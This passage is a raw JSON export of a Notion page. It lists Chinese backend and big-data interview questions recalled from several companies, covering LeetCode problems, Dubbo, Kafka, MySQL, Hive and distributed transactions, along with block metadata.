2-8cc0-48a5dd5fadc6","cdfbc473-7c0c-427c-adea-926e36199764","1d77d390-6d4e-4ff4-b875-7ef199c11571","891c94fe-86cb-44e3-b03d-cf2fdd56b8f3","e5fbc3ae-edc3-445d-b722-2c86acccee67","e816612c-ed57-4fa3-98c5-130c21c3affb","9a9592cf-9dce-43f7-a186-921f861478e3","aeb0325a-59d6-45e0-a584-2ea536c8b30a","33c428b8-26b6-4383-98d8-bb062347948d","136e5e0f-0d81-48c6-83bb-0dede89d9494","27312ad1-dc72-4113-8c16-862e6d5b5cf5","ebfdf2c1-b25d-4e83-a6a1-cb9c3ab837ad","3b3d2b5e-85be-4607-ac9f-41ff532a68b7","c1743086-3100-45be-b0b7-85cda9cd846d","6e20d862-4ece-45a6-b5cb-a48607c6768b","00120d03-2f87-441b-bed8-a89085807124","c7f1394b-4b7a-4d26-9ea2-df9cecafe8ae","c624645b-2a98-4690-9c99-3c8665936385","775c0066-f74b-421c-829b-5d08f139adf8","9e5968df-4332-4e3a-92ad-f3c45db9dd43","67562ff4-bdd8-4c2f-99fd-2a5670f22a5e","22c1c92c-9dae-4424-8383-6b5e728b35a8","ff70b9f5-4b81-4fc5-88ac-74c277cec518","5846a1a1-cb43-4033-9270-4b6ed4ea7c35","77b72589-2c75-4d4d-a649-b66005f0c747","837879d5-b307-4132-bf25-e1cc58f910a5","4daeb622-dfcc-466e-980b-87ba391032d3","18e0e0ad-6d2d-4a03-8c23-2c8e5d9cf2d4","7689ba5c-b503-49e4-a221-5bf4056cb028","d1fa8226-8536-4fdb-b8aa-e9e58dff54b0","44b33027-e57d-4751-961a-9823bcd17182","e7263c29-f72b-4e9d-bf1e-1160d3bb0d2b","d0046959-cde1-462f-9e16-d8d3c4d606b5","a600b3c6-648e-49ea-8419-4da4cd76feec","99d9683e-1c29-4761-84de-3fb287433965","418c98d1-be56-4323-94e5-f293950b29ee","de0d5f15-fdf4-48fe-b6fc-7e04d365b204","97dbcc63-5a52-4307-a6e5-3f8e68a6b577","0ece2eab-740c-4551-a6e7-87f856e92bd2","68b2146e-2966-4a18-a13e-c003d149380e","8fb25671-e554-4b49-8343-361670fe5a4d","1049736d-749b-4891-a695-c975a21a7085","877f5915-1e0f-44c9-aaa4-24b68a70b8c5","6ca7602a-6256-47f0-8545-a14883c9153b","fa779ba4-7b10-4858-844e-21f7cf620b1c","95de20c7-7bf2-44ee-97ec-a28da9a27d1f","e63ccbb0-9f8b-48df-aa25-3ec24b53cfdb","87729413-4d36-4b63-ab9d-fb89c2a9fa3e","bb153bd6-35f1-4bf9-b644-6bf14f4bc514","af41f925-4353-4664-890c-b88438374eb9","02599a3a-8b0e-45aa-afc5-86cf0bc93790","868f1a2b-d362-4282-ad5a-c7a21efddc69","1dcd0518-5fd5-4792-af4a-6f9d0bfe9313","7826035c-60c4-48f9-893f-51689ce8497a","2016d22f-5110-41a4-9234-3bf8d2de25b0","9a7a2593-7579-4ff2-ae7a-53d46bd8c218","d29a72ab-5247-4d96-9430-5b9b54b9873d","093930af-aa23-47c5-a7b9-93cd60a68d3c","86ce4c3e-475f-4d02-a804-85ced1e58d51","81f554a7-e650-4f25-a89b-0a75fb9c4953","601fd343-c172-46d2-9fc2-b89a7641c90c","6d2b4831-93fa-4f2d-b6e5-7e9a93e45e4c","6a9b69ef-4a03-4808-b617-d976589ff887","0585d2b7-f03d-471e-83fd-af380e767287","7a72450a-3c9c-497f-ac71-00d0c96bf746","8d8f3175-d107-4c50-8c2e-e04f5f12bc34","a961f973-aade-4a11-a493-22eedd2bda1b","7e5c58d8-0675-4d7d-85fe-e9966774196f","3cf5c06d-011e-4214-bcca-20a1d6ef057d","7cbc5505-8e31-4469-88c8-34d87e72abbc","b9715c06-29a6-428c-8592-9b20c8f4b297","7c25924f-6758-4a9c-b084-4145c7d247ee","95129ac8-edba-4b42-82d9-c30c66a3cd0d","0d898caa-821e-49ed-b7a4-bcbc125dedb1","b0bfb62e-cacb-4722-8da4-a4fbf36f05a6","9b8f6628-cea4-46d7-ac62-b931e23e08de","20cda2e2-5430-4c03-8cee-8aee88506998","abee7638-adc4-45e8-a2ba-4e275e7dee5b","abb12ac5-5fd9-4926-ae40-5eebf4b9216b","6c58dc75-88e2-4e9b-a4f2-058f553ff7c0","b584c686-6444-4214-bbbc-961d7909df23","87a028cb-596d-4b51-8e84-375168d3f0b9","5251e412-42bb-4d18-b804-c9603e20ae22","73861fd3-4751-454f-9ec0-40df5c4b5a5d","08016374-e0eb-4d4c-aa60-6f5d64f329d6","c5272e4f-8380-44da-bd98-1581ce951483","06c23523-11ab-470b-9201-b033deacc906","3d2a7c71-fa9a-487d-81a8-273c8c258bd0","7fd61f52-6b7b-4cca-ac9e-a3dc844a23b3","fbc72dbf-7c0d-4921-a12b-32736b843d10","07f0a7d2-c8f7-48e5-9c1c-2b258116e414","8e7975fa-854e-44b9-b5b9-f9fdab3b9959","90aa20b4-c687-443a-8687-aec12384f5d7","2f7a4b0b-ba7b-44a4-b211-bb39fdffac43","57990cd3-06da-4c68-84eb-0d573afd4db3","78571eff-99a2-496b-acf4-456d52045216","3dc854d9-e42b-4580-b9c1-19298ba7279a","105bb71b-79b8-43ae-941f-c5e98b106191","e428c157-f663-4464-a0c5-4aa229daed90","ce3866e3-6e1c-492b-b75f-ef8e2a2eed73","9a0bf84a-ab84-4a57-9c62-4d024809d568","2f24d351-e50c-4570-991d-11908666e61b","fe689d78-a3a0-4ad5-b85f-efa0939987a6","9a1264e0-5b30-4f2a-924d-878bba5b096b","d7807b9a-96c9-4c13-af56-7591e3e22de6","b2040182-3654-4056-9736-8ec2e93c36e0","1c552144-adca-4559-826e-13063b046529","fa7566e3-c93c-45a4-b9c4-79e94ddc2e98","035f5536-f51d-4967-9f7f-c57ab2de5036","5f615917-a407-404d-8937-65a1798631fe","9947fb53-0e8f-4b38-8e3c-02e25bccd2ba","28054297-a1a4-47b2-9dcd-c74a94a71ff6","4ee4bc09-30d0-4fa8-b924-7fb27659c394","fd80de35-db55-4542-8fa3-e4f7c7f6c37f","b86ef14d-b14a-4e60-bb36-0254d6a1ead5","8e6d759b-ac73-4dcc-b571-f1dcfeac628e","6a1c828b-7576-45b2-8155-9fea97aa63f6","e0d0b615-dea9-4b2f-a60f-ff86b388bda1","9a58adb5-7254-4da5-92a0-4089f5d45459","138dd731-978f-4b0b-b6e1-6951589bcd35","6ce164d6-d54a-4312-87fd-f57153c9b5bc","e9af1d75-e494-4405-8a62-6493f3f2d4eb","b5f31901-2a34-41d7-b302-5dba36313daa","bc9871c3-e1d0-48d9-b52f-0833016c1f81","d7b194f8-9136-42c2-a251-bf7ca4f70917","9a3c9c32-be6a-43e7-8c48-aca485c61fb0","53cdbf7f-ad94-48ee-9db6-3a660477d7f6","a284a8a7-f331-4a3d-9ba2-28072400f4e3","04d8bab9-eec6-4d69-8936-dc99cf67269b","3f0e6239-8f1d-4c11-b9a6-4dda0460ff5f","9e05ec4d-43f9-4092-98b8-b82ef27c8e4b","a7966a5f-c6e3-4cca-ae75-3bc0e07e9af8","a03dc3a2-1c06-4a51-8cd7-41ac22fd8a77","7926e47f-2f6a-4401-94a6-314674f2a7d5","49743fc4-b5fd-4944-81e0-7a5cf46f3f87","a9f1cc65-2653-49bc-9420-778aa074e5b1","455e2bbe-36a0-47ab-b7e3-f7c4262d6d8f","c5640af6-e9f1-491f-bb53-178a0d9f7c44","39289ef4-e7fb-4903-bd59-e8de8686976c","b932ad69-ed11-48fd-8334-826baef89d95","50355e2c-5d61-461c-9144-517fae3d6b5a","b703842a-97b0-4e2f-9921-43a6412b5577","ec268668-f65b-4577-bf45-3ead79712e2d","7b4ab354-236c-4c2d-9768-e1b37d5166bc","55c21fa2-e4ef-4780-bb89-856922700695","6a76fa35-0814-424d-ab3d-ee05e5aa16fb","a6f517d1-1b1a-4749-af01-ea09dc94b253","3224b5af-f8cc-4e2c-b528-97dc657780ba","b987bb2b-43a9-4d70-8ed8-13bd4cac6fca","846df388-e7a6-4b84-b11b-7c6dd5801b84","5676c8c3-a4c0-4b22-ab0f-a59078462558","454c7e44-19bb-427d-a566-c890599ba58d","ffd5a3f5-fff5-4ee2-bab6-a550ed0d6f46","71406e43-a111-434c-896d-f64a1e5f74f6","6627926e-cb5a-42ce-90a6-d9cc98cd4462","c6809c56-fdf7-4e61-b964-d8c4b16ba316","15a9bd37-07d0-4ebb-b793-6923db57edbf","9709534f-f3c5-4c7a-a839-e555a074e255","7a178367-cf57-4932-b620-060a22f3dd00","e9c94d2e-097d-4824-bf6a-91a06f1c8fa9","ac29abfc-1e04-456d-b914-9c4b42137017","bb36d625-5672-40fe-b631-974947c1f826","92c45e24-7ed0-4635-a6cd-a3dbb148f71b","91b3d950-f4bb-4039-bc76-b157949d13b8","a5d0b74b-95e5-4a4b-abfd-a2bfb57f2e76","c8c0eca3-6512-4d23-983a-e7f3fe341898","3c0edab5-6cb4-4b33-919c-b6a561bded5c","ff94fe89-06a4-41e6-9c48-0f14d9992aa0","eea79b76-4434-4686-8aff-af1d5ad5c6be","ea636e80-286a-4d9f-bc22-bfd761d24bd4","bc7ca4db-da46-41ad-855c-7f5c57b5a674","8655fdd1-1dec-44fd-9fce-61372ca374e9","77b0b116-2c35-4766-8640-f17cae63d37a","706a2f42-bce5-4c75-bfe6-13df4fb286f9","b97c9163-889d-4176-b82f-29bd1f94f5f7","c20eb80a-a027-46c5-a063-4e06feb4eb45","313345d7-e14a-4c76-a41f-c2ee598a0829","20ae6aa7-eb9f-42ca-85d9-07bd472fdfb6","f2c39fd4-b12a-4178-8bbd-babfaf928c0c","c3bdcf74-3160-46e7-b3b9-f7096eab969d","e0ab07e4-d250-4773-9822-a8cc18aa5887","967d88de-1623-451b-bc43-18c49103b93d","028f9d23-dba2-4094-8718-fe0dd9dda630","75c2abdb-e848-4e75-8234-4a109c7350bc","cac1d0d7-d76d-41e2-8b98-2a3a1a7f69b5","f4711880-093f-4bf4-9cf3-b044745ef5d0"],"format":{"page_icon":"🗒️"},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"}],"created_time":1712329333062,"last_edited_time":1712481791250,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"ignore_block_count":true,"created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"94097044-a58e-40c5-be1d-75eb512d5216":{"value":{"id":"94097044-a58e-40c5-be1d-75eb512d5216","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712329212406,"last_edited_time":1712329499174,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"370c01a4-fece-437b-97b4-a3903b046a0d":{"value":{"id":"370c01a4-fece-437b-97b4-a3903b046a0d","type":"header","properties":{"title":[["引言"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712329212405,"last_edited_time":1712329499174,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"7e5373d9-36af-47f5-b580-6c1069b4bc6b":{"value":{"id":"7e5373d9-36af-47f5-b580-6c1069b4bc6b","type":"callout","properties":{"title":[["待到秋来九月八,我花开后百花杀"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712329212405,"last_edited_time":1712329499174,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"0d1e3dba-f5f4-46ce-8c72-fda4cb1a0338":{"value":{"id":"0d1e3dba-f5f4-46ce-8c72-fda4cb1a0338","type":"header","properties":{"title":[["1.贝壳"]]},"created_time":1712329332768,"last_edited_time":1712329744137,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"87e2357a-6c01-427d-95dd-672d55bbedb1":{"value":{"id":"87e2357a-6c01-427d-95dd-672d55bbedb1","type":"bulleted_list","properties":{"title":[["LeetCode 199,二叉树右视图。"]]},"created_time":1712329332768,"last_edited_time":1712329332768,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"5e194ac0-9d6f-46f5-9eaf-c0db0f8aae46":{"value":{"id":"5e194ac0-9d6f-46f5-9eaf-c0db0f8aae46","type":"bulleted_list","properties":{"title":[["Dubbo跟 SpringCloud 区别,自己从宏观到细节简单对比着说下。"]]},"created_time":1712329332771,"last_edited_time":1712330218995,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6a27d3ec-1ae7-473e-8095-7f51022a9f5e":{"value":{"id":"6a27d3ec-1ae7-473e-8095-7f51022a9f5e","type":"bulleted_list","properties":{"title":[["限流算法中的令牌跟漏斗区别。Zuul 作用。"]]},"created_time":1712329332772,"last_edited_time":1712329332772,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2c072746-48e5-4e35-a862-b10ab005bb24":{"value":{"id":"2c072746-48e5-4e35-a862-b10ab005bb24","type":"bulleted_list","properties":{"title":[["项目细节讲解,流程图,瓶颈在哪儿。"]]},"created_time":1712329332772,"last_edited_time":1712329332772,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"5fa04443-840e-41c3-86b1-afb81fb387bf":{"value":{"id":"5fa04443-840e-41c3-86b1-afb81fb387bf","type":"bulleted_list","properties":{"title":[["开发人员写出死循环,发布上线后如何查出此问题来。"]]},"created_time":1712329332772,"last_edited_time":1712329332772,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a6bf00e4-3c7b-45c1-99b6-f43c65762c94":{"value":{"id":"a6bf00e4-3c7b-45c1-99b6-f43c65762c94","type":"bulleted_list","properties":{"title":[["QPS,如何压测,性能测试,性能指标。"]]},"created_time":1712329332772,"last_edited_time":1712329332772,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"39c5adc4-bbe0-4733-8f3f-189c152564fc":{"value":{"id":"39c5adc4-bbe0-4733-8f3f-189c152564fc","type":"bulleted_list","properties":{"title":[["性能优化经验,聊一聊。"]]},"created_time":1712329332772,"last_edited_time":1712329332772,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a6c237cd-5c47-4088-b5a6-d07c51cfd216":{"value":{"id":"a6c237cd-5c47-4088-b5a6-d07c51cfd216","type":"bulleted_list","properties":{"title":[["线程池说下,如果一堆线程任务有20%概率失败,如何保证100% 成功。"]]},"created_time":1712329332773,"last_edited_time":1712329332773,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"86f3eb3e-290c-49fd-9d12-3e3fc607f077":{"value":{"id":"86f3eb3e-290c-49fd-9d12-3e3fc607f077","type":"bulleted_list","properties":{"title":[["关于图数据库的不同种类了解及对比,比如Neo4j、DGraph、GanusGraph。"]]},"created_time":1712329332773,"last_edited_time":1712329332773,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"0bb5b078-893c-4131-bb28-a05caa2e6bf1":{"value":{"id":"0bb5b078-893c-4131-bb28-a05caa2e6bf1","type":"header","properties":{"title":[["2.跟谁学"]]},"created_time":1712329332773,"last_edited_time":1712329746011,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"152ea3f7-11ec-4089-a236-0752dd1a9baa":{"value":{"id":"152ea3f7-11ec-4089-a236-0752dd1a9baa","type":"bulleted_list","properties":{"title":[["LeetCode 662.二叉树最长直径。"]]},"created_time":1712329332774,"last_edited_time":1712329332774,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e9457161-c188-4226-a1fa-76324a0ab93e":{"value":{"id":"e9457161-c188-4226-a1fa-76324a0ab93e","type":"bulleted_list","properties":{"title":[["秒杀场景设计,逐步引导设计思路。"]]},"created_time":1712329332775,"last_edited_time":1712330238402,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4d111cf0-98c6-45dd-b9f9-ad5b46bc99f0":{"value":{"id":"4d111cf0-98c6-45dd-b9f9-ad5b46bc99f0","type":"bulleted_list","properties":{"title":[["如果项目数据量、并发度扩大十倍咋办,哪儿是性能瓶颈。"]]},"created_time":1712329332775,"last_edited_time":1712330356618,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f952b930-42d9-4222-85e4-e3af3a6e5f7e":{"value":{"id":"f952b930-42d9-4222-85e4-e3af3a6e5f7e","type":"bulleted_list","properties":{"title":[["消息中间件,如何保证消息不丢失,如何实现消息消费顺序性。Kafka为什么那么快,Kafka重平衡问题。"]]},"created_time":1712329332776,"last_edited_time":1712329332776,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ef92a7dd-3406-4e39-b283-7a02980adf74":{"value":{"id":"ef92a7dd-3406-4e39-b283-7a02980adf74","type":"bulleted_list","properties":{"title":[["SpringCloud那套东西的压力感。"]]},"created_time":1712329332776,"last_edited_time":1712329332776,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d766c3d1-da48-4956-a2b7-50eba201d819":{"value":{"id":"d766c3d1-da48-4956-a2b7-50eba201d819","type":"bulleted_list","properties":{"title":[["MySQL理解,事务隔离级别,MVCC,三个日志文件作用。"]]},"created_time":1712329332777,"last_edited_time":1712330381259,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6c337917-d607-4b82-97d4-5f46df6c1850":{"value":{"id":"6c337917-d607-4b82-97d4-5f46df6c1850","type":"bulleted_list","properties":{"title":[["现在做的东西的数据并发量跟业务复杂度探讨。"]]},"created_time":1712329332778,"last_edited_time":1712329332778,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7b92e954-f187-4f29-ab4a-25ce696c2fb4":{"value":{"id":"7b92e954-f187-4f29-ab4a-25ce696c2fb4","type":"bulleted_list","properties":{"title":[["操作系统中的阻塞、非阻塞、同步、异步、BIO、NIO、AIO细节。"]]},"created_time":1712329332779,"last_edited_time":1712330226651,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1e538b97-9dea-411e-b8a3-612ff1679d18":{"value":{"id":"1e538b97-9dea-411e-b8a3-612ff1679d18","type":"bulleted_list","properties":{"title":[["LeetCode 215 TOP K。"]]},"created_time":1712329332780,"last_edited_time":1712329332780,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"987df5e7-5f5e-4222-aa50-41cb6a6e2e36":{"value":{"id":"987df5e7-5f5e-4222-aa50-41cb6a6e2e36","type":"bulleted_list","properties":{"title":[["Redis跟MySQL缓存一致性"]]},"created_time":1712329332781,"last_edited_time":1712330233107,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c976bdb2-060f-4660-a219-b720114eeb0f":{"value":{"id":"c976bdb2-060f-4660-a219-b720114eeb0f","type":"bulleted_list","properties":{"title":[["你对Dubbo底层理解。"]]},"created_time":1712329332782,"last_edited_time":1712329332782,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"56ea5e25-6484-4212-a26a-1c30f6214002":{"value":{"id":"56ea5e25-6484-4212-a26a-1c30f6214002","type":"bulleted_list","properties":{"title":[["你对DDD的理解。"]]},"created_time":1712329332782,"last_edited_time":1712329332782,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"161392b7-d2c5-487f-bdd1-10bfbc7c894c":{"value":{"id":"161392b7-d2c5-487f-bdd1-10bfbc7c894c","type":"header","properties":{"title":[["3.搜狐"]]},"created_time":1712329332782,"last_edited_time":1712329748760,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a828adf5-2d61-443e-bffb-37e1faf71729":{"value":{"id":"a828adf5-2d61-443e-bffb-37e1faf71729","type":"bulleted_list","properties":{"title":[["MapJoin 是什么?"]]},"created_time":1712329332782,"last_edited_time":1712329332782,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c2db0595-401c-4dda-8573-5ace5cfa6c2a":{"value":{"id":"c2db0595-401c-4dda-8573-5ace5cfa6c2a","type":"bulleted_list","properties":{"title":[["Hive 数据倾斜 咋办?"]]},"created_time":1712329332783,"last_edited_time":1712329332783,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6c5b3b74-7d79-4516-8fa5-bdcbcde6bddd":{"value":{"id":"6c5b3b74-7d79-4516-8fa5-bdcbcde6bddd","type":"bulleted_list","properties":{"title":[["cluster by order by reduce by distribute by区别。"]]},"created_time":1712329332783,"last_edited_time":1712329332783,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"cb515ef2-5ea3-416d-95d7-5351ec9a6009":{"value":{"id":"cb515ef2-5ea3-416d-95d7-5351ec9a6009","type":"bulleted_list","properties":{"title":[["Kafka 为何那么快。"]]},"created_time":1712329332783,"last_edited_time":1712329332783,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"64637345-edfc-42c7-b5bb-8901adb8f491":{"value":{"id":"64637345-edfc-42c7-b5bb-8901adb8f491","type":"bulleted_list","properties":{"title":[["MySQL B树 B+树区别。"]]},"created_time":1712329332783,"last_edited_time":1712329332783,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"cde1d0b9-3028-4b55-8cab-ea9ce74fcfe7":{"value":{"id":"cde1d0b9-3028-4b55-8cab-ea9ce74fcfe7","type":"bulleted_list","properties":{"title":[["UDF、Spark、Netty、BIO、NIO、AIO框架。"]]},"created_time":1712329332783,"last_edited_time":1712329332783,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"fbd54d11-c9d1-4ba1-8341-517026854505":{"value":{"id":"fbd54d11-c9d1-4ba1-8341-517026854505","type":"bulleted_list","properties":{"title":[["LeetCode 103. 二叉树的锯齿形层序遍历。"]]},"created_time":1712329332783,"last_edited_time":1712329332783,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"83f6aaa7-99ea-4530-a48b-5c54052fe2b3":{"value":{"id":"83f6aaa7-99ea-4530-a48b-5c54052fe2b3","type":"bulleted_list","properties":{"title":[["项目介绍,框架流程图,自己负责的部分,数据治理的理解及实战场景。"]]},"created_time":1712329332784,"last_edited_time":1712329332784,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a2ea40a2-9a67-482f-8a91-e19a9d9949d6":{"value":{"id":"a2ea40a2-9a67-482f-8a91-e19a9d9949d6","type":"bulleted_list","properties":{"title":[["MapReduce流程, Shuffle过程细节,数据倾斜如何避免。"]]},"created_time":1712329332784,"last_edited_time":1712329332784,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6ca0cc02-7660-4cee-9b83-49967ec4c03b":{"value":{"id":"6ca0cc02-7660-4cee-9b83-49967ec4c03b","type":"bulleted_list","properties":{"title":[["hive语句书写,开窗函数的考察。"]]},"created_time":1712329332784,"last_edited_time":1712329332784,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"25bb46cf-bfcb-4384-a4a6-08a538481954":{"value":{"id":"25bb46cf-bfcb-4384-a4a6-08a538481954","type":"bulleted_list","properties":{"title":[["ZooKeeper的理解,分布式事务2PC、3PC、TCC、Paxos实现思路及优缺点。"]]},"created_time":1712329332784,"last_edited_time":1712329332784,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e9d2e038-445d-4483-91aa-db0432458dda":{"value":{"id":"e9d2e038-445d-4483-91aa-db0432458dda","type":"bulleted_list","properties":{"title":[["LeetCode 5. 最长回文子串。"]]},"created_time":1712329332785,"last_edited_time":1712329332785,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d8891a15-54be-4a9d-8272-75dc5d4234f5":{"value":{"id":"d8891a15-54be-4a9d-8272-75dc5d4234f5","type":"bulleted_list","properties":{"title":[["HBase架构图,LSM理解。"]]},"created_time":1712329332785,"last_edited_time":1712329332785,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2caafc2b-6882-4573-a26a-c68c841a2300":{"value":{"id":"2caafc2b-6882-4573-a26a-c68c841a2300","type":"bulleted_list","properties":{"title":[["Spark在工作中的应用细节。"]]},"created_time":1712329332785,"last_edited_time":1712329332785,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"0c2f8969-de8c-4430-a2b2-5e6e0eec856a":{"value":{"id":"0c2f8969-de8c-4430-a2b2-5e6e0eec856a","type":"bulleted_list","properties":{"title":[["Scala语言的熟悉程度,Scala跟Java的区别关系。"]]},"created_time":1712329332785,"last_edited_time":1712329332785,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"25f5e986-6f63-43f2-8ba9-609c5e923ac7":{"value":{"id":"25f5e986-6f63-43f2-8ba9-609c5e923ac7","type":"header","properties":{"title":[["4.脉脉"]]},"created_time":1712329332786,"last_edited_time":1712329751286,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"192550a0-f3f3-4b97-9cd2-30430f52d165":{"value":{"id":"192550a0-f3f3-4b97-9cd2-30430f52d165","type":"bulleted_list","properties":{"title":[["MySQL 优化 查询 如何优化这些操作。"]]},"created_time":1712329332786,"last_edited_time":1712329332786,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8b7501dc-2569-4980-8ff0-e0a4856f36c6":{"value":{"id":"8b7501dc-2569-4980-8ff0-e0a4856f36c6","type":"bulleted_list","properties":{"title":[["MySQL的 